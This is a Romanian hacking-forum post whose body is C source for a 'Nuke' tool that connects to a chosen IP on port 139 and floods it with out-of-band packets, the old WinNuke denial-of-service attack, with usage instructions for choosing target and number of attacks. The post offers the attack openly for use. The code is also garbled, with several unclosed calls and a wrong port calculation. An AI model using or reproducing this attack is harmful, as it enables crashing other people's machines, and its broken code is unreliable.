wWw.HackingCs.3xforum.ro
|
Lista Forumurilor Pe Tematici
|
wWw.HackingCs.3xforum.ro | Inregistrare | Login
POZE WWW.HACKINGCS.3XFORUM.RO
Nu sunteti logat.
|
Nou pe simpatie: luiza69
 | Femeie 24 ani Bucuresti cauta Barbat 27 - 75 ani |
|
By_Beleaua
Administrator
 Inregistrat: acum 15 ani
Postari: 137
|
|
#include <conio.h> #include <stdio.h> #include <winsock.h>struct { int port; char *targetIP; int NumOfAttact, BufSize;} parm;void Pause(void) { cprintf ("Apasati orice tasta pentru a renunta..." ; getch(); cprintf ("\r\n" ; } int CheckWinsock() { WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested = MAKEWORD(1, 1); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) return err; if ( LOBYTE( wsaData.wVersion ) != 1 || HIBYTE( wsaData.wVersion ) != 1 ) { WSACleanup(); return -1; } return 0;}void ParseIP(char* des, char *theIP){ unsigned int val; char i; for (i = 0; i < 4; i++) { if (*theIP != '\0') { val = 0; while (*theIP != '\0' && *theIP != '.') { val *= 10; val += *theIP - '0'; theIP++; } des[i]= (char)val; if (*theIP != '\0') theIP++; } }} void ParseParm(int argc, char* argv[]){ char * value; for (int i=1; i<argc; i++){ if (argv[i][0]=='/'){ argv[i][1]= (char)toupper(argv[i][1]); value = &argv[i][2]; switch (argv[i][1]){ case 'P': parm.port = atoi(value); break; case 'T': parm.targetIP=value; break; case 'N': parm.NumOfAttact = atoi(value); break; case 'S': parm.BufSize = atoi(value); break; } } }} int main(int _argc, char* _argv[]){ int i, errcode; char *tempbuf; SOCKET theSocket; sockaddr theAddr; cprintf ("folosire : Nuke [/Pport] [/Ttarget] [/Nnum] [/Ssize]\r\n" " port : portul tinta, folositi 139.\r\n" " target: adresa iP \"a.b.c.d\".\r\n" " num: numarul de atacuri, implicit 10.\r\n" " size: numarul de biti in fiecare atac, implicit 1024.\r\n\n" ; if (CheckWinsock()){ cprintf ("nu merge conexiunea!\n" ; Pause(); return 1; } theSocket= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); if (theSocket==-1){ cprintf ("nu merge conexiunea!\r\n" ; Pause(); WSACleanup(); return 2; } cprintf ("folosim socket-ul: %d\r\n", theSocket); parm.port = 139; parm.targetIP= NULL; parm.NumOfAttact = 10; parm.BufSize = 1024; ParseParm(_argc, _argv); if (parm.targetIP==NULL){ parm.targetIP = (char*) malloc(256); cprintf ("Introduceti Ip-ul: " ; scanf ("%s", parm.targetIP); cprintf ("\r\n" ; } theAddr.sa_family = AF_INET; theAddr.sa_data[0]= (char)(parm.port/256); theAddr.sa_data[1]= (char)(parm.port%6); ParseIP(&theAddr.sa_data[2], parm.targetIP; cprintf ("conexiune la %s pe portul: %d\r\n", parm.targetIP, parm.port); errcode = connect (theSocket, &theAddr, sizeof(sockaddr)); if (errcode){ cprintf ("Eroare.\r\nVerificati daca portul este 'pazit' de un daemon.\r\n" ; Pause(); WSACleanup(); return 1; } cprintf ("STATUS: Conectat!!\r\n" ; tempbuf = (char*) malloc(parm.BufSize); for (i=0; i<parm.BufSize; i++) tempbuf[i]=0; for (i=0; i<parm.NumOfAttact; i++){ errcode = send (theSocket, tempbuf, parm.BufSize, MSG_OOB); cprintf ("Atac: %d , trimis ", i); if (errcode==-1) cprintf ("eroare.\r\n" ; else cprintf ("%d bytes.\r\n", errcode); } free (tempbuf); closesocket (theSocket); WSACleanup(); cprintf ("gata.\r\n" ; Pause(); }
_______________________________________

|
|
| pus acum 15 ani |
|